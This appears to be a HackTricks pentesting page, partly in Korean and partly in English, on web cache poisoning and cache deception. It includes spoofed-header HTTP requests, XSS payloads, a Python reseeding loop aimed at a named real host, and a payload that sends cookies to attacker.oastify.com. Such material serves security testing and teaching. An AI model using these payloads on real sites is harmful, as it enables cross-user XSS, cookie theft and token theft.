Cache Poisoning and Cache Deception

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

차이점

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache Poisoning

Cache poisoning은 클라이언트 측 캐시를 조작하여 클라이언트들이 예상치 못한 리소스, 일부만 포함된 리소스 또는 공격자가 제어하는 리소스를 로드하게 만드는 것을 목표로 합니다. 영향 범위는 해당 페이지의 인기(방문자 수)에 따라 달라지며, 오염된 응답은 캐시가 오염된 기간 동안 페이지를 방문하는 사용자에게만 제공됩니다.

cache poisoning 공격을 실행하는 과정은 다음과 같습니다:

  1. Identification of Unkeyed Inputs: 요청이 캐시되기 위해 필수적이지 않지만 서버가 반환하는 응답을 변경할 수 있는 파라미터들입니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 매우 중요합니다.
  2. Exploitation of the Unkeyed Inputs: unkeyed inputs를 식별한 후에는 이러한 파라미터들을 어떻게 악용하여 서버의 응답을 공격자에게 유리하게 변경할지 알아내야 합니다.
  3. Ensuring the Poisoned Response is Cached: 마지막으로 조작된 응답이 캐시에 저장되도록 해야 합니다. 이렇게 하면 캐시가 오염된 동안 해당 페이지에 접근하는 모든 사용자가 오염된 응답을 받게 됩니다.

Discovery: Check HTTP headers

보통 응답이 캐시에 저장되었을 때 이를 나타내는 헤더가 존재합니다. 어떤 헤더에 주의를 기울여야 하는지는 이 글에서 확인하세요: HTTP Cache headers.

Discovery: Caching error codes

응답이 캐시에 저장되는지 확인하려면, 잘못된 헤더를 포함한 요청을 보내 서버가 400 상태 코드로 응답하는지 확인해 보세요. 그런 다음 해당 요청에 정상적으로 접근해 보고 응답이 400 상태 코드로 나온다면 취약하다는 것을 알 수 있습니다(심지어 DoS까지 가능할 수 있습니다).

추가 옵션은 다음에서 확인할 수 있습니다:

Cache Poisoning to DoS

다만, 이러한 종류의 상태 코드들이 항상 캐시되지 않는 경우도 있으므로 이 테스트는 신뢰할 수 없는 결과를 낼 수 있습니다.

Discovery: Identify and evaluate unkeyed inputs

Param Miner를 사용하여 페이지의 응답을 변경할 수 있는 파라미터와 헤더를 brute-force할 수 있습니다. 예를 들어, 어떤 페이지는 X-Forwarded-For 헤더를 사용하여 클라이언트가 그곳에서 스크립트를 로드하도록 지시할 수 있습니다:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

백엔드 서버에서 유해한 응답을 유도하기

파라미터/헤더를 식별했으면, 그것이 어떻게 정화되는지 그리고 헤더에서 응답에 어디에 반영되거나 영향을 주는지 확인하라. 그래도 이를 악용할 수 있는가(예: XSS를 수행하거나 자신이 제어하는 JS 코드를 로드하거나 DoS를 수행하는가…)?

응답을 캐시되게 하기

악용할 수 있는 페이지, 어떤 파라미터/헤더를 사용할지와 어떻게 악용할지식별했다면, 그 페이지를 캐시에 넣어야 한다. 캐시에 넣으려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 여러 번 시도해야 할 수도 있다.

응답의 헤더 X-Cache 는 매우 유용할 수 있다. 요청이 캐시되지 않았을 때 값이 miss 가 될 수 있고, 캐시되었을 때 값이 hit 가 될 수 있다.
헤더 Cache-Control 또한 리소스가 캐시되고 있는지와 다음에 언제 다시 캐시될지를 알기 위해 흥미롭다: Cache-Control: public, max-age=1800

또 다른 흥미로운 헤더는 Vary 이다. 이 헤더는 종종 추가 헤더를 지정하는 데 사용되며, 이들은 보통 키로 사용되지 않더라도 cache key의 일부로 취급된다. 따라서 공격자가 표적 피해자의 User-Agent 를 알고 있다면, 해당 특정 User-Agent 를 사용하는 사용자들을 대상으로 cache를 poison할 수 있다.

캐시와 관련된 또 하나의 헤더는 Age 이다. 이 값은 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의한다.

요청을 캐시할 때는 사용하는 헤더에 주의하라. 일부 헤더는 예상치 않게 키로 사용될 수 있으며, 피해자는 동일한 헤더를 사용해야 할 수도 있다. 항상 다른 브라우저들로 Cache Poisoning을 테스트하여 작동 여부를 확인하라.

Foundational cache poisoning case studies

HackerOne global redirect via X-Forwarded-Host

  • The origin templated redirects and canonical URLs with X-Forwarded-Host, but the cache key only used the Host header, so a single response poisoned every visitor to /.
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • 스푸핑된 헤더 없이 즉시 /를 다시 요청하세요; 리디렉트가 계속된다면 global host-spoofing primitive를 획득한 것이며, 이는 종종 reflected redirects/Open Graph 링크를 stored issues로 업그레이드합니다.

GitHub 리포지토리 DoS를 통해 Content-Type + PURGE

  • 익명 트래픽은 경로(path)만으로 키가 지정되었고, 백엔드는 예기치 않은 Content-Type을 감지하면 에러 상태에 들어갔습니다. 그 에러 응답은 해당 리포지토리의 모든 인증되지 않은 사용자에게 캐시될 수 있었습니다.
  • GitHub는 또한 (실수로) PURGE 동사를 존중하여, 공격자가 정상 항목을 플러시하고 캐시가 필요 시 오염된 변형을 가져오도록 강제할 수 있었습니다:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • 항상 authenticated vs anonymous cache keys를 비교하고, Content-Type 같은 거의 키로 사용되지 않는 헤더들을 fuzz하고, 노출된 cache-maintenance verbs를 probe하여 re-poisoning을 자동화하세요.

Shopify의 cross-host persistence loops

  • Multi-layer caches는 때때로 새로운 객체를 커밋하기 전에 여러 번의 동일한 hits가 필요합니다. Shopify는 동일한 cache를 수많은 지역화된 hosts에서 재사용했기 때문에, persistence는 많은 properties에 영향을 미쳤습니다.
  • Use short automation loops를 사용해 반복적으로 reseed하세요:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • hit 응답 후, 동일한 cache namespace를 공유하는 다른 hosts/assets를 크롤링하여 cross-domain blast radius를 입증한다.

JS asset redirect → stored XSS chain

  • Private 프로그램은 종종 /assets/main.js와 같은 공유 JS를 수십 개의 subdomains에 걸쳐 호스팅한다. 만약 X-Forwarded-Host가 해당 assets의 redirect 로직에 영향을 주지만 키가 없으면, 캐시된 응답은 attacker JS로 향하는 301이 되어 그 asset이 import되는 모든 곳에 stored XSS를 일으킨다.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • 같은 asset path를 재사용하는 호스트를 매핑하여 multi-subdomain compromise를 증명할 수 있도록 하라.

GitLab static DoS via X-HTTP-Method-Override

  • GitLab은 Google Cloud Storage에서 정적 번들을 제공했으며, 이는 X-HTTP-Method-Override를 존중한다. GET을 HEAD로 오버라이드하면 Content-Length: 0인 캐시 가능한 200 OK가 반환되었고, edge cache는 키를 생성할 때 HTTP 메서드를 무시했다.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • 단일 요청이 모든 GET에 대해 JS 번들을 빈 바디로 교체하여 UI에 사실상 DoSing을 발생시켰습니다. 항상 정적 자산에 대해 method overrides (X-HTTP-Method-Override, X-Method-Override, 등)를 테스트하고 캐시가 메서드에 따라 달라지는지 확인하세요.

HackerOne의 X-Forwarded-Scheme을 통한 정적 자산 루프

  • Rails의 Rack middleware는 HTTPS 강제 여부를 결정하기 위해 X-Forwarded-Scheme을 신뢰했습니다. /static/logo.png에 대해 http를 스푸핑하면 캐시 가능한 301을 유발하여 이후 모든 사용자에게 자산 대신 리디렉션(또는 루프)이 전송되었습니다:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • 가능하면 scheme spoofing과 host spoofing을 결합하여 가시성이 높은 리소스에 대해 되돌릴 수 없는 redirects를 제작하세요.

Cloudflare host-header 대소문자 불일치

  • Cloudflare는 Host 헤더를 cache keys용으로 정규화했지만 원본 서버(origins)에는 원래 대소문자 형태를 전달했습니다. Host: TaRgEt.CoM를 보내면 canonical lowercase cache bucket을 채우면서도 origin routing/templating에서 다른 동작을 유발했습니다.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • mixed-case hosts(및 기타 normalized headers)를 재전송(replaying)하여 CDN tenants를 열거하고, cached response와 origin response를 비교(diff)하여 shared-platform cache poisonings을 찾아내세요.

Red Hat Open Graph meta poisoning

  • Open Graph 태그 내부에 X-Forwarded-Host를 주입하면 CDN이 페이지를 캐시한 이후 반사된 HTML injection이 stored XSS로 바뀔 수 있습니다. 테스트 중에는 운영 사용자에게 피해를 주지 않도록 무해한 cache buster를 사용하세요:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • 소셜 미디어 스크래퍼는 캐시된 Open Graph tags를 소비하므로, 단일의 오염된 항목이 payload를 직접 방문자보다 훨씬 넓게 배포할 수 있습니다.

악용 예시

가장 쉬운 예

X-Forwarded-For 같은 헤더가 응답에 정화되지 않은 채 반영됩니다.
기본 XSS payload를 전송해 캐시를 중독시키면 페이지에 접근하는 모든 사용자가 XSSed됩니다:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

In this writeup it’s explained the following simple scenario:

  • The CDN will cache anything under /share/
  • The CDN will NOT decode nor normalize %2F..%2F, therfore, it can be used as path traversal to access other sensitive locations that will be cached like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • The web server WILL decode and normalize %2F..%2F, and will respond with /api/auth/session, which contains the auth token.

Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

Generating discrepancies with delimiters, normalization and dots

확인:

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

This writeup explains 어떻게 https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 같은 URL로 OpenAI API key를 훔칠 수 있었는지 설명한다. /share/*에 매치되는 모든 것은 Cloudflare가 URL을 정규화(normalising)하지 않은 채로 캐시되며, 그 정규화는 요청이 웹 서버에 도달했을 때 수행되기 때문이다.

이것은 또한 다음에서 더 잘 설명되어 있다:

Cache Poisoning via URL discrepancies

Using multiple headers to exploit web cache poisoning vulnerabilities

때때로 cache를 악용하기 위해서는 exploit several unkeyed inputs가 필요하다. 예를 들어, X-Forwarded-Host를 본인이 제어하는 도메인으로 설정하고 X-Forwarded-Schemehttp로 설정하면 Open redirect를 찾을 수 있다. 만약 server가 모든 HTTP 요청을 to HTTPSforwarding하고 리디렉션을 위한 도메인 이름으로 X-Forwarded-Scheme 헤더를 사용한다면, 리디렉션이 가리키는 위치를 제어할 수 있다.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiting with limited Varyheader

만약 X-Host 헤더가 JS 리소스를 로드하기 위한 도메인 이름으로 사용되는데 응답의 Vary 헤더가 User-Agent 를 가리킨다면, 피해자의 User-Agent를 exfiltrate하고 해당 user agent를 사용해 캐시를 poison할 방법을 찾아야 합니다:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

요청을 URL과 body에 모두 담아 GET 요청을 보낸다. web server가 body의 값을 사용하지만 cache server가 URL의 값을 캐시하면, 그 URL에 접근하는 누구든지 실제로 body의 parameter를 사용하게 된다. 이는 Github 웹사이트에서 James Kettle이 발견한 vuln과 같다:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

For example it’s possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

여기에서 Cache Poisoning attacks by abusing HTTP Request Smuggling 수행 방법을 확인하세요.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

이 실무 패턴은 헤더 기반의 reflection primitive를 CDN/WAF 동작과 연결해 다른 사용자들에게 서비스되는 캐시된 HTML을 신뢰성 있게 poison하는 방식입니다:

  • 메인 HTML이 신뢰할 수 없는 요청 헤더(예: User-Agent)를 실행 가능한 컨텍스트로 반사했다.
  • CDN은 캐시 헤더를 제거했지만 내부/오리진 캐시는 존재했다. CDN은 또한 정적 확장자(예: .js)로 끝나는 요청을 자동으로 캐시했고, WAF는 정적 자산에 대한 GET 요청에 대해 더 약한 콘텐츠 검사를 적용했다.
  • 요청 흐름의 특이성으로 인해 동일 오리진의 .js 경로에 대한 요청이 이후 메인 HTML에 사용되는 캐시 키/변형에 영향을 미칠 수 있어, 헤더 반사를 통해 크로스-유저 XSS가 가능해졌다.

실전 절차(한 유명 CDN/WAF에서 관찰됨):

  1. 클린 IP에서(이전 평판 기반 강등을 피하기 위해), 브라우저나 Burp Proxy의 Match & Replace를 통해 악성 User-Agent를 설정합니다.
  2. Burp Repeater에서 두 개의 요청을 준비하고 “Send group in parallel”(single-packet mode 권장)를 사용합니다:
  • 첫 번째 요청: 동일 오리진의 .js 리소스 경로를 GET하면서 악성 User-Agent를 전송합니다.
  • 바로 다음: 메인 페이지(/)를 GET합니다.
  1. CDN/WAF 라우팅 경쟁과 auto-cached .js가 결합되어 종종 오염된 캐시된 HTML 변형을 시드하며, 이는 동일한 캐시 키 조건(예: Vary 차원에서 동일한 User-Agent)을 공유하는 다른 방문자들에게 제공됩니다.

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • 많은 CDNs는 캐시 헤더를 숨깁니다; poisoning은 여러 시간 단위의 새로고침 주기에서만 나타날 수 있습니다. 여러 관측 IP를 사용하고 rate-limit 또는 reputation 트리거를 피하기 위해 요청을 throttle하세요.
  • CDN 자체 클라우드의 IP를 사용하면 라우팅 일관성이 향상되는 경우가 있습니다.
  • 엄격한 CSP가 있는 경우에도, 반사가 메인 HTML 컨텍스트에서 실행되고 CSP가 inline 실행을 허용하거나 컨텍스트로 우회될 수 있다면 여전히 동작합니다.

Impact:

  • 세션 쿠키가 HttpOnly가 아니면, 포이즈된 HTML을 제공받는 모든 사용자로부터 document.cookie를 mass-exfiltrating하여 zero-click ATO가 가능합니다.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

이것은 공격자가 선택한 cache key 아래에 임의의 HTML을 기록하여, cache keys가 알려지면 정밀한 poisoning을 가능하게 한다.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

취약한 예시

Apache Traffic Server (CVE-2021-27577)

ATS는 URL 내부의 fragment를 제거하지 않고 전달했으며 cache key를 host, path and query만 사용해 생성했다(즉 fragment를 무시). 그래서 요청 /#/../?r=javascript:alert(1)는 백엔드로 /#/../?r=javascript:alert(1)로 전송되었고 cache key에는 payload가 포함되지 않고 host, path and query만 들어가 있었다.

403 and Storage Buckets

Cloudflare는 과거에 403 응답을 캐시했다. S3 또는 Azure Storage Blobs에 잘못된 Authorization 헤더로 접근을 시도하면 403 응답이 발생했고 그 응답이 캐시되었다. Cloudflare가 이제 403 응답을 캐시하지 않더라도, 이 동작은 다른 프록시 서비스에 여전히 존재할 수 있다.

Injecting Keyed Parameters

캐시들은 종종 특정 GET 파라미터를 cache key에 포함한다. 예를 들어 Fastly의 Varnish는 요청에서 size 파라미터를 캐시했다. 그러나 파라미터의 URL-encoded 버전(예: siz%65)이 잘못된 값과 함께 전송되면 cache key는 올바른 size 파라미터를 사용해 구성된다. 반면 백엔드는 URL-encoded 파라미터의 값을 처리한다. 두 번째 size 파라미터를 URL-encoding하면 캐시는 이를 누락하고 백엔드는 이를 사용하게 된다. 이 파라미터에 0을 할당하면 캐시 가능한 400 Bad Request 오류가 발생했다.

User Agent Rules

일부 개발자는 서버 부하 관리를 위해 FFUF나 Nuclei 같은 트래픽이 많은 도구의 user-agent와 일치하는 요청을 차단한다. 아이러니하게도 이 방식은 cache poisoning이나 DoS 같은 취약점을 초래할 수 있다.

Illegal Header Fields

RFC7230은 헤더 이름에서 허용되는 문자를 명시한다. 지정된 tchar 범위를 벗어나는 문자를 포함한 헤더는 이상적으로 400 Bad Request 응답을 발생시켜야 한다. 하지만 실제로는 서버들이 항상 이 표준을 준수하지 않는다. 주목할 만한 예로 Akamai는 잘못된 문자가 포함된 헤더를 포워딩하고 cache-control 헤더가 없으면 모든 400 오류를 캐시한다. 예를 들어 \ 같은 불법 문자가 포함된 헤더를 전송하면 캐시 가능한 400 Bad Request 오류가 발생하는 취약 패턴이 확인되었다.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients cache에 저장될, 민감한 정보를 포함한 리소스를 로드하게 하는 것.

우선 .css, .js, .png 등과 같은 extensions는 보통 configured 되어 cachesaved 되도록 설정되어 있다는 점을 유의하라. 따라서 www.example.com/profile.php/nonexistent.js에 접근하면, 캐시는 .js extension을 보고 응답을 저장할 가능성이 크다. 그러나 application이 _www.example.com/profile.php_에 저장된 sensitive 사용자 내용을 replaying 한다면, 공격자는 다른 사용자들의 해당 내용을 steal할 수 있다.

다른 테스트 항목들:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
예제에서는 http://www.example.com/home.php/non-existent.css 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_의 내용(즉 사용자의 민감한 정보를 포함한)이 반환되고 캐시 서버가 그 결과를 저장한다고 설명한다.
그 다음 attacker는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자들의 confidential information을 확인할 수 있다.

참고로 cache proxy는 파일의 content-type이 아니라 파일의 extension (.css)을 기준으로 cache하도록 configured 되어 있어야 한다. 예제에서 _http://www.example.com/home.php/non-existent.css_의 content-type은 text/html이 되어 text/css가 되지 않는다.

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

High level idea:

  • 민감한 API 엔드포인트는 커스텀 auth header를 요구하고 origin에서 올바르게 non-cacheable로 표시되어 있다.
  • 정적처럼 보이는 접미사(예: .css)를 추가하면 CDN이 해당 경로를 정적 자산으로 취급하여 응답을 캐시하며, 종종 민감한 헤더에 따라 vary하지 않는다.
  • SPA는 CSPT를 포함한다: 사용자 제어 경로 세그먼트를 API URL에 연결하면서 피해자의 auth header(예: X-Auth-Token)를 첨부한다. ../.. 탐색을 주입하면 인증된 fetch가 캐시 가능한 경로 변형(…/v1/token.css)으로 리디렉션되어 CDN이 피해자의 token JSON을 공개 키로 캐시하게 된다.
  • 그 후 누구나 인증 없이 같은 cache key를 GET하여 피해자의 토큰을 가져갈 수 있다.

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • 정적처럼 보이는 접미사가 CDN을 캐시 가능하게 만듭니다:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT in SPA는 auth header를 첨부하고 traversal를 허용:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • 공격 체인:
  1. 피해자를 SPA path 파라미터에 dot-segments를 주입한 URL로 유인합니다. 예:
  1. SPA가 인증된 fetch를 다음으로 보냅니다:
  1. 브라우저 정규화로 다음 주소로 해석됩니다:
  1. CDN은 .css를 정적 자산으로 처리하고 JSON을 Cache-Control: public, max-age=…로 캐시합니다.
  2. 공개 조회: 누구나 이후 https://api.example.com/v1/token.css 를 GET하여 캐시된 token JSON을 얻을 수 있습니다.

전제조건

  • SPA는 동일한 API origin(또는 동작하는 CORS가 있는 cross-origin)에 대해 인증된 fetch/XHR을 수행하고 민감한 헤더 또는 bearer 토큰을 첨부합니다.
  • Edge/CDN은 정적처럼 보이는 경로(예: *.css, *.js, images)에 대해 확장자 기반 캐싱을 적용하고 민감한 헤더에 대해 캐시 키를 변경하지 않습니다.
  • 기본 엔드포인트의 origin은 캐시 불가능(정상)하지만, 확장자-접미사 변형은 허용되거나 edge 규칙에 의해 차단되지 않습니다.

검증 체크리스트

  • 민감한 동적 엔드포인트를 식별하고 .css, .js, .jpg, .json 같은 접미사를 시도해보세요. 콘텐츠가 JSON인 상태에서 Cache-Control: public/max-age 및 X-Cache: Hit(또는 동등한 값, 예: CF-Cache-Status)가 있는지 확인합니다.
  • 클라이언트 코드에서 사용자 제어 입력을 auth 헤더를 첨부한 채 API 경로에 이어붙이는 부분을 찾습니다. ../ 시퀀스를 주입하여 인증된 요청을 대상 엔드포인트로 리다이렉트합니다.
  • 리타깃된 요청에 인증 헤더가 존재하는지(예: 프록시나 서버 로그에서) 확인하고 CDN이 순회된 경로로 응답을 캐시하는지 확인합니다.
  • 신규 컨텍스트(인증 없음)에서 동일한 경로를 요청하여 비밀 JSON이 캐시에서 제공되는지 확인합니다.

Automatic Tools

  • toxicache: Golang 스캐너로 URL 목록에서 web cache poisoning 취약점을 찾고 여러 주입 기법을 테스트합니다.
  • CacheDecepHound: Python 스캐너로 웹 서버에서 Cache Deception 취약점을 탐지하도록 설계되었습니다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기